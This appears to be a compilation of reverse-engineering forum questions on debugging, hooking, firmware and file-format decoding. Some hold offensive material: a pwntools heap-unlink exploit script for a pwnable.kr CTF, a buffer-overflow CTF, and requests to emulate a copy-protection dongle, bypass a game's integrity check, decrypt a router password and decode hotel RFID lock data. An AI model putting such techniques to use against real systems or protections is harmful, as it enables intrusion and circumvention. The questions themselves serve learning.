问:
Is it possible to recover/acquire schema of FlatBuffers binary file
Without having access to the schema file, is it possible to recover the schema of a binary FlatBuffers file by examining the file? Also, some of those files contain encrypted scalars. If you can actually recover the schema, will encrypted scalars hinder the effort of recovering the schema?


问:
Reverse Engineer Emulated Game
I am trying to reverse engineer an emulated game. Is it possible to increase the score by cheating in an emulated game, or not because it is in a sandboxed environment? Does the console being emulated matter? If so I'd say Nintendo consoles, and the game I'm trying to reverse engineer is Tetris. I tried using Cheat Engine on the original NES Tetris but couldn't find the variable that stores the score. I thought maybe it was because it's an emulated game that I couldn't find the variable and it's in a sandboxed environment.</p>

ContentLicense: CC BY-SA 4.0

Title: Reverse Engineer Emulated Game


问:
Sentinel C-Plus B emulator help
I find your post.
I need an emulator for the Sentinel C-Plus B dongle.
I was able to find the dumper.
In this post I found the SC_Emulator.zip which seems to work:
http://www.reteam.org/board/attachment.php?attachmentid=6&d=1184248542
Please help me.
Thank you</p>

Title: Sentinel C-Plus B emulator help


问:
What skills are need to find ways of take root of Phones?
I am very interested in about take root of Android phones and I'm noob of reverse engineering.

I have some of old Android devices that already unused.  Some Android devices provide easier path to root with fastboot mode, But Some of others disabled it by vendor.

What should I find to root non-easier Android device that disabled fastboot mode by vendor?
Is it something privilege escalation?

I have no idea what should I find and How to find it.

Thanks for regards.


问:
Intercepting a PHP module with frida
I have a PHP module, and I'm trying to hook the functions of that module.

```<code>...
    39: 0000000000024a60  1858 FUNC    LOCAL  DEFAULT   12 zim_ClassName_ClassName_exec
...
    90: 0000000000028f10     8 FUNC    GLOBAL DEFAULT   12 get_module
...
    93: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND zend_execute
...
</code>```

Frida enumerateSymbols will show this:

```<code>{
    "address": "0x7f21a5a9ea60",
    "isGlobal": false,
    "name": "zim_ClassName_ClassName_exec",
    "section": {
        "id": "12.text",
        "protection": "r-x"
    },
    "size": 1858,
    "type": "function"
}
</code>```

And enumerateExports:

```<code>[
    {
        "address": "0x7f011d0a2f10",
        "name": "get_module",
        "type": "function"
    },
    {
        "address": "0x7f011d07bdc0",
        "name": "_init",
        "type": "function"
    },
    {
        "address": "0x7f011d0a2f18",
        "name": "_fini",
        "type": "function"
    }
]
</code>```

(note: my php file contains sleep(3) before calling the function)

```<code>$ php test.php &
$ frida-trace -i "*exec*"` php
  ... hooks 52 functions, none matching that class' actual function
  ... sleep(3) ends and the function gets executed
  1948 ms  zend_get_executed_scope()
  1948 ms  zend_get_executed_scope()
  1948 ms  zend_get_executed_scope()
  ... lots of same line
  1954 ms  zend_execute()
  1954 ms     | execute_ex()

</code>```

I'm unable to intercept any of the exports above. I'm getting Error: module.so: unable to find export 'get_module'.

frida-trace will load the 3 exports above, I guess that's because php loads the module and calls get_module before frida has a chance to intercept it.

Is it possible to intercept zim_ClassName_ClassName_exec, which is the php function I want to work on? Is frida the right tool for that? Thanks!

Title: Intercepting a PHP module with frida


问:
Are physical databooks of any use?
I have taken over the office of an old retired electronics guy. As a result, I have a huge shelf filled with data books: Intel, Atmel, Texas Instruments... etc. My instinct is to throw these all away as I assume these are online somewhere.

Are these databooks of any use for (hardware) reverse engineering, or is this information guaranteed online somewhere?

Title: Are physical databooks of any use?


问:
Is there any way to get old Windows kernel drivers?
I'm working through "Practical Reverse Engineering" and absolutely loving it so far. However, some of the exercises involve "decompiling" some Windows kernel files (like KeInitializeDpc, KeInitializeApc, ObFastDereferenceObject, etc) and I don't run Windows.
I haven't been able to find any of the drivers online nor have I found any reliable sites from which I can get a Windows (anything between XP and 7) iso. Is there anywhere that I could get either of these things?</p>


问:
How can i get the address of a function in memory?
I am currently completing a CTF exercise where i must attempt to overwrite a function pointer on the stack through a buffer overflow here is the code:

```<code>#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char *gets(char *);

void complete_level() {
  printf("Congratulations, you've finished :-) Well done!\n");
  exit(0);
}

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int (*fp)();
  } locals;

  locals.fp = NULL;
  gets(locals.buffer);

  if (locals.fp) {
    printf("calling function pointer @ %p\n", locals.fp);
    fflush(stdout);
    locals.fp();
  } else {
    printf("function pointer remains unmodified :~( better luck next time!\n");
  }

  exit(0);
}
</code>```

The code will get input using the vulnerable gets() function and store it inside the buffer called buffer.

Since buffer is the largest variable in the struct it will allow me to overwrite variables below it on the stack. The next variable is the function pointer called fp.

In order to overwrite fp i will need to find the address of the complete_level function in memory. Then write "A" 64 times, then write the functions address.

The problem i have is that i cannot find the address of the function.

So far i have tried objdump however that gives me a offset and not the full address:

```<code>objdump -M intel -d 3 | grep complete_level
    1184:   80 3d 8d 2e 00 00 00    cmp    BYTE PTR [rip+0x2e8d],0x0        # 4018 <completed.0>
    11ac:   c6 05 65 2e 00 00 01    mov    BYTE PTR [rip+0x2e65],0x1        # 4018 <completed.0>
00000000000011c9 <complete_level>:
</code>```

Here is an output of the executable under the file command:

```<code>3: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=11a5f76e0d40b7f4fdc53d4dd60faac9f9e405be, for GNU/Linux 3.2.0, not stripped
</code>```

Why is it not showing the full address? Also how can i get the full address of the function complete_level?


问:
X32dbg Stepping through assembly, seems to get stuck on one line and not progress forward, even though the application continues to progress forward
I'm using x32dbg. Stepping through assembly, I get to the following instructions:

'''76B7CC12 | 8B4C24 54                | mov ecx,dword ptr ss:[esp+54]           |'''

If I continue to step through the assembly, the program continues to open and start up, but for some reason x32dbg stays on this line. What's going on here? There is not a breakpoint here.


问:
I have an application that views an encrypted document and stored it as an (encrypted) pdf
When I load this application with lldb, surprisingly no anti-debugger techniques scuttle it. I've even managed to find an interesting breakpoint to set...

```<code>break set -r AES_decrypt -s /usr/lib/libcrypto.0.9.8.dylib
</code>```

This catches shortly after loading the encrypted document. Can I recover the key used to decrypt the document from this point? Which commands would I need for this?

My understanding is that the four arguments to AES_decrypt() are the key, the init vector, the cypher text, and the recovered text (these last two as pointers somewhere on the heap?). On this architecture (32bit executable, MacOS), arguments to the functions are passed in on the stack (rather than the registers). But when I do expr ((char *) 0xdeadbeef) for the pointers on the stack, I'm just seeing garbage. For the first 3, that's probably to be expected, but the 4th object doesn't look like what pdf file guts should look like.

Also, and I don't know if this is important, but if I continue past the breakpoint, it seems to catch exactly 30 times. This doesn't fit anything I know about the file contents (it's not the number of pages or anything like that).


问:
Where is Zyxel nas326 system log files. and how to see failed login ip
Does anyone know where is log files in the Zyxel nas326? I want to send failed tcp login ip to my server so I know if someone is logging in to my nas and I can block the ip.</p>


问:
What is the correct way to load pdb symbols to show the functions by their name instead of their addresses in x64dbg?
I am trying to reverse a portion of a game, that game loads a DLL file called "ddraw.dll".
Most of the DLL file functions don't appear by their names but appear by their addresses

for example:

```<code>; The function address '67415A6A' but no name
ddraw.67415A6A
</code>```

So, I have known that can download the PDB symbols file for the "ddraw.dll" file to make all their functions appear by their names instead of their addresses.

And that is what I did, I have downloaded the symbols for "ddraw.dll" using the command symdownload/downloadsym and download it to the path "x64dbg\x32\symbols", then I reopen the debugger again to see what happened but nothing happened, all functions still appear by their addresses.

I tried to use symload/loadsym command to load "ddraw.dll" symbols but it always gives me "invalid module" although, I have written the command correctly symload path\game.exe, path\symbols\ddraw.pdb,0 or 1.

How do I solve that problem?


问:
Decompiling an executable compiled by vercel/pkg
I have a .exe file that I am trying to get the source code of, After some digging I figured out that it's in node.js and was compiled using vercel/pkg

I tried using pkg-unpacker however the output is all messed up and have a lot of null characters, even the node-modules modules have null characters in them, Only the *.js files have null characters, *.json are fine and are in their default format

I also saw used a hex editor but that code isn't human-readable at all

Some people suggested using ghidra_nodejs which will be my next step, however I don't know how to use it or if it will work with all the weird characters in the *.js files

I think that the project is obfuscated using https://obfuscator.io/ or https://www.npmjs.com/package/javascript-obfuscator

Any Ideas/Help is appreciated, Thanks!


问:
How to prevent dynamic loader from modifying binary in memory?
I have patched a loadable object (an .so file) from this:

```<code>xor eax,0x304b7c0
</code>```

to this:

```<code>mov eax,0x0
</code>```

When I try to run my binary with these modifications, the application loads the .so file and then it adds the base address of the .so file to every memory address in the binary so that instruction ends up looking like this in my gdb debugger (intel flavor):

```<code>0xf463cd95: mov    eax,0xf44ae000
</code>```

How do I make it not do that? Thanks in advance for the help!


问:
can't debug properly
In the last few days I tried to solve "unlink" challenge in pwnable.kr and I'm struggling to attach a debugger remotely and locally on the server using pwntools (code added below).

```<code>#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('unlink_local')

host = args.HOST or 'pwnable.kr'
port = int(args.PORT or 2222)
user = args.USER or 'unlink'
password = args.PASSWORD or 'guest'
remote_path = '/home/unlink/unlink'

# Connect to the remote SSH server
shell = None
if not args.LOCAL:
    shell = ssh(user, host, port, password)
    shell.set_working_directory(symlink=True)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Execute the target binary on the remote host'''
    if args.GDB:
        return gdb.debug([remote_path] + argv, gdbscript=gdbscript, ssh=shell, *a, **kw)
    else:
        return shell.process([remote_path] + argv, *a, **kw)

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

r = start()

stack_leak = r.recvline(keepends=False)
stack_leak = int(stack_leak.decode("latin-1").split(": ")[1], 16)
heap_leak = r.recvline(keepends=False)
heap_leak = int(heap_leak.decode("latin-1").split(": ")[1], 16)
ret_addr_on_stack = stack_leak + 0x28  # 0x28 is the offset between the leak and the return address location on
# the stack (checked in gdb via running the program multiple times and checking the offset)
shellcode_location_on_heap = heap_leak + 0x50

"""
Payload layout (in this exact order)
"""
A_buf = b"A" * 8  # A's buf variable (in the struct 'tagOBJ' in the source) overflow

B_prev_size = b"B" * 4  # B's prev_size variable (in malloc internals) overflow
B_size = b"C" * 4  # B's size variable (in malloc internals) overflow
B_fd = p32(ret_addr_on_stack - 0x4)  # B's fd pointer (in the struct 'tagOBJ') overflow
B_bk = p32(shellcode_location_on_heap)  # 0x080484eb  # B's bk pointer (in the struct 'tagOBJ') overflow      ----- shell() function address
B_buf = b"D" * 8  # B's buf variable (in the struct 'tagOBJ') overflow

C_prev_size = b"E" * 4  # B's prev_size variable (in malloc internals) overflow
C_size = b"F" * 4  # B's size variable (in malloc internals) overflow
C_fd = b"PPPP"  # C's fd pointer (in the struct 'tagOBJ') overflow      ----- empty (doesn't point anywhere)
C_bk = b"LLLL"  # C's bk pointer (in the struct 'tagOBJ') overflow      ----- RET ADDRESS LOCATION ON STACK

payload = A_buf + B_prev_size + B_size + B_fd + B_bk + B_buf + C_prev_size + C_size + C_fd + C_bk
with open("inp", "wb") as f:
    f.write(payload)

r.sendlineafter(b'now that you have leaks, get shell!\n', payload)
r.interactive()
</code>```

When i attach gdb remotely using pwntools, I get the following error message from the server:

```<code>[DEBUG] Received 0x8f bytes:
    '/build/gdb-9un5Xp/gdb-7.11.1/gdb/gdbserver/regcache.c:264:\n'
    'A problem internal to GDBserver has been detected.\n'
    'Unknown register ymm0h requested\n'
</code>```

In addition, when I attach gdb locally on the server using pwntools with tmux (because without tmux it can't find a terminal to open gdb in, I don't know why), I get this error:

```<code>Attaching to program: /home/unlink/unlink, process 50201
Could not attach to process.  If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user.  For more details, see /etc/sysctl.d/10-ptrace.conf
ptrace: Operation not permitted.
/tmp/tal/50201: No such file or directory.
Breakpoint 1 at 0x804851e
(gdb)
</code>```

The same error happens when attaching to the process by its pid without pwntools (via gdb -p {pid}).

I will point out that I've tried to run the program on my pc (not on their server), and the heap layout was different (I think malloc aligned to 16 bytes instead of 4? not sure why its different to be honest), so running locally will not work.

Please note that I realise that this exploit doesn't work correctly, and my problem is that I don't know how to debug it properly, so please avoid giving corrections to the exploit itself.

Hints will be appreciated :)

Title: can't debug properly


问:
Firmware Binary Reverse with Ghidra returns only few codelines decompiled with truncated code
I have tried to decompile the firmware binary of a microcontroller that should be an STM32 (but I'm not sure about this).

After the analysis I get only few codelines with a lot of similar messages:

```<code>                   /* WARNING: Bad instruction - Truncating control flow here */
    halt_baddata();
  }
                    /* WARNING: Could not recover jumptable at 0x00000008. Too many branches */
                    /* WARNING: Treating indirect jump as call */
  (*(code *)(unaff_r4 ^ unaff_r4 << 0xe))();
</code>```

And the strings seems meaningless bunch of chars.

I have tried also ARM aggressive instruction finder without success.

I have also tried to set base address 0x08000000 that seems common for various STM32 with analogous bad results.

I have also tried to use bot arm v7 little and big endian as trial and error.

How should I proceed considering that I don't know the datasheet of microcontroller used?

Here The File


问:
Huawei HG8145V5 Router PPPoE Password Decryption
My ISP is not providing pppoe accounts but I need to bridge to my server. I only have encrypted password. Password is "   $26w5`KU6gm#C73JK48OG8_jdY'dQePTOu$0'G8q\V$   " Can anyone help me decrypt, please? Thanks</p>


问:
How do I create a native app with Visual Studio 2022?
A few years ago, I built a Windows Native Application using the Build.exe command of the DDK.
The following site gives a better idea for W7 of what I had done:
https://prog.world/windows-native-applications-and-acronis-active-restore/
This site also specifies this :
"The easiest way to build a native application is to use DDK (Driver Development Kit). We need exactly the ancient seventh version, since later versions have a slightly different approach and work closely with Visual Studio. If we use DDK, then our project needs only Makefile and sources."
The following site gives some ideas for building with Visual Studio.
https://social.msdn.microsoft.com/Forums/en-US/346c2484-862d-47b4-809b-601546ac7e72/visual-studio-2008-and-compiling-native-code-question?forum=vside2008
I want to build a new application with windows-11-22H2.
So I downloaded VS2022, the DDK, and a VSIX addon for the ddk.
I use this model :

```<code>1>------ Début de la génération : Projet : native_64_1, Configuration : Debug x64 ------
1>Building 'native_64_1' with toolset 'WindowsApplicationForDrivers10.0' and the 'Universal' target platform.
1>Source.cpp
</code>```

After a lot of errors in the configuration of the project settings, the compilation finishes without errors now.
But the linker reports the following errors (i use a translator for the bellow lines):

```<code>1>Ongoing library research
1>    Current research C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\um\x64\ntdll.lib :
1>    Current research C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x64\nt.lib :
1>    Current research C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\um\x64\onecoreuap.lib :
1>    Current research C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x64\ucrtd.lib :
1>End of library search
1>End of the pass 1
1>Source.obj : error LNK2019: external symbol not resolved "__declspec(dllimport) long __cdecl NtTerminateProcess(void *,long)" (__imp_?NtTerminateProcess@@YAJPEAXJ@Z) référencé dans la fonction "void __cdecl NtProcessStartup(void)" (?NtProcessStartup@@YAXXZ)
1>Source.obj : error LNK2019: external symbol not resolved "__declspec(dllimport) long __cdecl NtDisplayString(struct _UNICODE_STRING *)" (__imp_?NtDisplayString@@YAJPEAU_UNICODE_STRING@@@Z) référencé dans la fonction "void __cdecl WriteLn(unsigned short *)" (?WriteLn@@YAXPEAG@Z)
1>Source.obj : error LNK2019: external symbol not resolved "__declspec(dllimport) long __cdecl NtWaitForSingleObject(void *,unsigned char,union _LARGE_INTEGER *)" (__imp_?NtWaitForSingleObject@@YAJPEAXEPEAT_LARGE_INTEGER@@@Z) référencé dans la fonction "void __cdecl NtProcessStartup(void)" (?NtProcessStartup@@YAXXZ)
1>Source.obj : error LNK2019: external symbol not resolved "__declspec(dllimport) long __cdecl NtCreateEvent(void * *,unsigned long,struct _OBJECT_ATTRIBUTES *,enum _EVENT_TYPE,unsigned char)" (__imp_?NtCreateEvent@@YAJPEAPEAXKPEAU_OBJECT_ATTRIBUTES@@W4_EVENT_TYPE@@E@Z) référencé dans la fonction "void __cdecl NtProcessStartup(void)" (?NtProcessStartup@@YAXXZ)
1>nt.lib(startup.obj) : error LNK2019: external symbol not resolved main referenced in the function NtProcessStartup_AfterSecurityCookieInitialized
1>nt.lib(startup.obj) : error LNK2019: external symbol not resolved __security_init_cookie referenced in the function NtProcessStartup
1>Unused libraries :
1>  C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\um\x64\onecoreuap.lib
1>C:\MesData\informatique\2022\native_64\native_64_1\x64\Debug\native_64_1.exe : fatal error LNK1120: 6 unresolved external"
</code>```

I can't explain why these libraries are in the scope : ucrtd.lib, onecoreuap.lib.
I add nt.lib because i think it contains the "like CRT" for a Windows Native Application.

My question : Is it possible to get better information to build such an application with VS?


问:
LZ4N file format - file decoding
I'm trying to decode a file that is part of device firmware. Unfortunately it comes RIFF<...>WAV format wrapped / packed with strange LZ4-like format.
Non of linux available lz4 tools do recognize this header.

Once below is unpacked it looks as by swapping bytes around, original eeprom binary can be recovered as the RIFF stream resembles expected firmware content.

File starts like this:

```<code>00000000: 6c7a 346e 0100 0000 0080 0000 40c8 ce01  lz4n........@...
00000010: f700 0000 f23c 5249 4646 38c8 ce01 5741  .....<RIFF8...WA
00000020: 5645 666d 7420 1000 0000 0100 0200 44ac  VEfmt ........D.
00000030: 0000 10b1 0200 0400 1000 6461 7461 14c8  ..........data..
00000040: ce01 72f8 1f4e 4943 0004 5936 8e95 6943  ..r..NIC..Y6..iC
00000050: 7272 7375 4c20 676f 6369 202c 6e49 2e63  rrsuL goci ,nI.c
00000060: 003a 0050 0104 0312 110c 0020 de21 0600  .:.P....... .!..
00000070: 0f02 0041 0088 002f 5252 8800 732f 5355  ...A.../RR..s/SU
00000080: 8800 730f 9801 ffff ffff ffff ffff ffff  ..s.............
00000090: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000000a0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000000b0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000000c0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000000d0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000000e0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
</code>```

Does someone has an idea how to decode / unpack this?
Or even better could point to a tool? Linux lz4 tool doesn't like it - it creates different file headers...

Thanks

Title: LZ4N file format - file decoding


问:
IDA Pro maps wrong variable for offset
I hope there is a proper way to fix my issue.

Here's memory layout:

```<code>.data:004F3D10     char * * gTownObjNames dd offset aMage  ; DATA XREF: townManager::SetupTown(void)+245↑r
.data:004F3D10                     dd offset aThie         ; "mage" ...
.data:004F3D10                     dd offset aTvrn
<<<SKIPPED>>>
.data:004F3D10                     dd offset aExt3
.data:004F3D90     ; signed __int8 gDwellingType[6][12]
.data:004F3D90     signed char (* gDwellingType)[12] db 0, 1, 3, 5, 7, 9, 2, 4, 6, 8, 10, 255, 11, 12, 14, 15
.data:004F3D90                                             ; DATA XREF: recruitUnit::recruitUnit(town *,int,int)+49↑r
.data:004F3D90                                             ; QuickViewRecruit(town *,int)+1C↑r ...
.data:004F3D90                     db 17, 19, 13, 255, 16, 18, 255, 255, 20, 21, 23, 25, 27
<<<SKIPPED>>>
</code>```

and the problematic instruction:

```<code>movsx   eax, byte ptr [ecx+eax*4+4F3D7Dh]
</code>```

that was converted to

```<code>movsx   eax, byte ptr (char * * gTownObjNames+6Dh)[ecx+eax*4]
</code>```

I guess IDA Pro chose gTownObjNames because 4F3D7Dh belongs to gTownObjNames. But I know for the fact that it always points to gDwellingType.
Is it possible to change the mapped variable?

Maybe there is a way to use manual operand fix in Pseudocode window?

Title: IDA Pro maps wrong variable for offset


问:
Reading variables modified by pass by reference
Reading arguments as well as return values is pretty trivial when utilizing Frida. But is there any way to read data that is modified through pass by reference. I am attempting to read some data in an iOS application that utilizes this scenario. These are also called inout parameters in Swift. This is the piece of code in Swift:

```<code>var pubKey, privKey: SecKey?
let status = SecKeyGeneratePair(parameters, &pubKey, &privKey)
</code>```

Because SecKeyGeneratePair isn’t really returning anything but rather modifying a variable by reference, I am unsure what to hook into.


问:
Can anyone help to understand how Calli function work?
Can anyone help to understand how below function works?

Below is C# code which calls c++ dll function.

```<code> Utils.Conversions.GcStrToStdStr(accessMode, ref struct2);
_Common* nativeCommon = this._nativeCommon;

calli(System.Int32 modopt(System.Runtime.CompilerServices.IsLong) modopt(System.Runtime.CompilerServices.CallConvThiscall)(System.IntPtr,std.Struct25 modopt(System.Runtime.CompilerServices.IsConst)* modopt(System.Runtime.CompilerServices.IsImplicitlyDereferenced),std.Struct25 modopt(System.Runtime.CompilerServices.IsConst)* modopt(System.Runtime.CompilerServices.IsImplicitlyDereferenced)), nativeCommon, ref @struct, ref struct2, *(*(int*)nativeCommon + 152))
</code>```


问:
Can someone help to understand code disassembly by IDA?
Can someone help to understand code disassembly by IDA?

Basically this use for calculate key from seed. Here I would like to understand the logic and also I would like to know what would be the output length of key.

Sorry code was larger so I'm posting image but sharing DLL file for reference.

DLL (skey.dll size:64 KB)


问:
Redirect exception handler?
I'm working on a localization project and have a few trampoline hooks to translate some text in an online game. Periodically throughout gameplay, there are checks that run in the background to ensure the .text section of the game hasn't been modified. Of course I've done this with the existence of trampoline hooks, so the check fails and I'm met with what looks like a custom error code of INVALID_CALL_1.

I've attempted for months to figure out how this checksum is calculated, but I don't believe I have the skills necessary to figure this out, so I'm looking at other options.

I'm wondering if this logic seems reasonable, but would you theoretically be able to re-direct how the exception is handled using something like SetUnhandledExceptionFilter to check if the exception matches INVALID_CALL_1 and have it return EXCEPTION_CONTINUE_EXECUTION instead? I don't mind doing the work, but wanted to know if my logic is flawed as I haven't worked with the Windows API all that much and am unsure where to ask this question.

Thanks.

Title: Redirect exception handler?


问:
Reversing Assembly Code (ASM) to Extract Password (Pin)
I'm new to binary exploitation and CTF challenges. I need to solve a CTF challenge and find the flag. All the program does is display "Flag length is: 32". I've tried to analyze the file using IDA pro.

I think that the flag value is in rcx register, but I don't know how to extract it. Could you please help me solve the challenge or give me resources to learn?

Here is the main fucntion's code (C and assembler):

C:

```<code>int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax

  char Str[40]; // [rsp+20h] [rbp-30h] BYREF

  int j; // [rsp+48h] [rbp-8h]

  int i; // [rsp+4Ch] [rbp-4h]

  _main();

  for ( i = 0; i <= 33; ++i )

    Str[i] = 0;

  for ( j = 0; j <= 31; ++j )

    Str[j] = buff[j + 15] ^ 0x3A;

  v3 = strlen(Str);

  printf("Flag length is: %d\n", v3);

  return 0;

}
</code>```

Assembler:

```<code>int __cdecl main(int argc, const char **argv, const char **envp)

                 public main

 main            proc near               ; CODE XREF: __tmainCRTStartup+243↑p

 Str             = byte ptr -30h

 var_8           = dword ptr -8

 var_4           = dword ptr -4

                 push    rbp

                 mov     rbp, rsp

                 sub     rsp, 50h

 ; 7:   _main();

                 call    __main

 ; 8:   for ( i = 0; i <= 33; ++i )

                 mov     [rbp+var_4], 0

                 jmp     short loc_4015D4

 ; ---------------------------------------------------------------------------

 ; 9:     Str[i] = 0;

 loc_4015C6:                             ; CODE XREF: main+28↓j

                 mov     eax, [rbp+var_4]

                 cdqe

                 mov     [rbp+rax+Str], 0

                 add     [rbp+var_4], 1

 loc_4015D4:                             ; CODE XREF: main+14↑j
                 cmp     [rbp+var_4], 21h ; '!'

                 jle     short loc_4015C6

 ; 10:   for ( j = 0; j <= 31; ++j )

                 mov     [rbp+var_8], 0

                 jmp     short loc_401609

 ; ---------------------------------------------------------------------------

 ; 11:     Str[j] = buff[j + 15] ^ 0x3A;

 loc_4015E3:                             ; CODE XREF: main+5D↓j

                 mov     eax, [rbp+var_8]

                 add     eax, 0Fh

                 movsxd  rdx, eax

                 lea     rax, buff

                 movzx   eax, byte ptr [rdx+rax]

                 xor     eax, 3Ah

                 mov     edx, eax

                 mov     eax, [rbp+var_8]

                 cdqe

                 mov     [rbp+rax+Str], dl

                 add     [rbp+var_8], 1

 loc_401609:                             ; CODE XREF: main+31↑j

                 cmp     [rbp+var_8], 1Fh

                 jle     short loc_4015E3

 ; 12:   v3 = strlen(Str);

                 lea     rax, [rbp+Str]

                 mov     rcx, rax        ; Str

                 call    strlen

 ; 13:   printf("Flag length is: %d\n", v3);

                 mov     rdx, rax

                 lea     rcx, Format     ; "Flag length is: %d\n"

                 call    printf

 ; 14:   return 0;

                 mov     eax, 0

                 add     rsp, 50h

                 pop     rbp

                 retn

 main            endp
</code>```


问:
problem with hooking __usercall function and asm code
I need a hook function with the __usercall convention.
I already hooked functions that were defined as __usercall and __userpurge, but this time it's __usercall with arguments that are also passed through the stack.
The main problem is in calling the original function. After ret (it doesn't matter retn, retf, regardless of the operand) the function goes to an address that has nothing to do with the program itself.

```<code>void __usercall fn(float *o@<ebx>, char *a2, int a3, int a4, float a5, float a6, float a7, float a6, int a7, int a10, _DWORD *a11, float a12)
</code>```

function begin:

```<code>.text:00414350 83 EC 1C                             sub     esp, 1Ch
.text:00414353 83 3D 24 F3 50 00 00                 cmp     dword_50F324, 0
.text:0041435A 55                                   push    ebp             ; green
.text:0041435B 8B 6C 24 28                          mov     ebp, [esp+20h+a3]
.text:0041435F 56                                   push    esi             ; red
.text:00414360 8B 74 24 48                          mov     esi, [esp+24h+a10]
</code>```

function end:

```<code>.text:00414965 5F                                   pop     edi
.text:00414966 5E                                   pop     esi
.text:00414967 5D                                   pop     ebp
.text:00414968 83 C4 1C                             add     esp, 1Ch
.text:0041496B C3                                   retn
</code>```

In the code itself, after calling the function, 0x2C is added to the esp

hook code:

```<code>void __stdcall hook(float* a1, char* a2, int a3, int a4, float a5, float a6, float a7, float a8, int a9, int a10, void* a11, float a12) {
    original_proxy(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
}

__declspec(naked) void __stdcall proxy(char* a2, int a3, int a4, float a5, float a6, float a7, float a8, int a9, int a10, void* a11, float a12) {
    _asm {
        //without "enter" arguments will be null
        //
        //if you do not pass arguments manually,
        //but immediately call the hook function,
        //then everything will be fine with the arguments
        enter 0x0, 0x0
        push a12
        push a11
        push a10
        push a9
        push a8
        push a7
        push a6
        push a5
        push a4
        push a3
        push a2
        push ebx
        call hook
        leave
        ret
    }
}

__declspec(naked) void __stdcall original_proxy(float* a1, char* a2, int a3, int a4, float a5, float a6, float a7, float a8, int a9, int a10, void* a11, float a12) {
    _asm {
        push a12
        push a11
        push a10
        push a9
        push a8
        push a7
        push a6
        push a5
        push a4
        push a3
        push a2
        mov ebx, a1
        call original
        retn //after that the code goes to another address (it is always the same)
    }
}
</code>```

What could be the problem? Most likely something is wrong with asm, but then why does the code go to the same address after ret?

Sorry for my English, the translator can't always convey the meaning correctly.
Thanks in advance!


问:
determine the PC of code gadgets in PLT section of ELF file
I am trying to parse an ELF file using custom code. With reference to the image below (output displayed is from objdump), I need to get the address of code gadget starting at , for example 401030 for the symbol printf@plt in the .plt section  , so for example when I get st_value for ELF64_Sym symbol printf@plt, it gives me a value of 0, and st_size is also 0. The r_offset field from ELF64_Rela also gives me the address in GOT table 404018, and not 401030. I was wondering how do I get this PC of 401030?


Title: Decode this Hotel RFID card lock data checksum

Body:
I have hexadecimal data from first 5 blocks of T5557 125KHz RFID card for Chinese made hotel room door lock. The 5th block appear to be some kind of checksum which I like to know how it is derived.

Below are 12 different samples of the data. Rows 1 to 5 in the tables represent block 1 to 5 of T5557 125 KHz RFID card.

```<code>(1)

| Block  |  Data     |
|--------|-----------|
|Block 1 |C9 09 3C F1|
|Block 2 |00 01 01 01|
|Block 3 |0C 61 D8 BB|
|Block 4 |00 D8 D3 00|
|Block 5 |70 9E 94 3F|

(2)
| Block  |  Data     |
|--------|-----------|
|Block 1 |C9 09 44 F1|
|Block 2 |00 01 01 01|
|Block 3 |0C 65 D8 C3|
|Block 4 |00 D8 D3 00|
|Block 5 |07 E4 C1 DA|

(3)
| Block  |  Data     |
|--------|-----------|
|Block 1 |C9 09 4C F1|
|Block 2 |00 01 01 01|
|Block 3 |0F 67 D8 CB|
|Block 4 |00 D8 D3 00|
|Block 5 |68 20 81 85|

(4)
| Block  |  Data     |
|--------|-----------|
|Block 1 |C9 09 4C F1|
|Block 2 |00 01 01 01|
|Block 3 |08 68 D8 CB|
|Block 4 |00 D8 D3 00|
|Block 5 |AA 0A 1E 0A|

(5)
| Block  |  Data     |
|--------|-----------|
|Block 1 |C9 09 4C 31|
|Block 2 |00 01 01 01|
|Block 3 |09 6A D8 CB|
|Block 4 |40 D8 D3 00|
|Block 5 |02 37 8C 3A|

(6)
| Block  |  Data     |
|--------|-----------|
|Block 1 |C9 09 4C 71|
|Block 2 |00 01 01 01|
|Block 3 |0A 6C D8 CB|
|Block 4 |80 D8 D3 00|
|Block 5 |D0 D2 13 AA|

(7)
| Block  |  Data     |
|--------|-----------|
|Block 1 |C9 09 4C F1|
|Block 2 |00 01 01 01|
|Block 3 |10 69 D6 CB|
|Block 4 |00 D6 D3 00|
|Block 5 |67 05 08 85|

(8)
| Block  |  Data     |
|--------|-----------|
|Block 1 |C9 09 4C F1|
|Block 2 |00 01 01 01|
|Block 3 |11 6B D7 CB|
|Block 4 |00 D7 D3 00|
|Block 5 |4A ED 23 40|

(9)
| Block  |  Data     |
|--------|-----------|
|Block 1 |C9 09 4C F1|
|Block 2 |00 01 01 01|
|Block 3 |12 6D D8 CB|
|Block 4 |00 D8 D3 00|
|Block 5 |06 79 70 76|

(10)
| Block  |  Data     |
|--------|-----------|
|Block 1 |C9 09 4C F1|
|Block 2 |00 01 01 01|
|Block 3 |13 6F B8 CB|
|Block 4 |00 B8 D3 00|
|Block 5 |85 40 F9 B9|

(11)
| Block  |  Data     |
|--------|-----------|
|Block 1 |C9 09 4C F1|
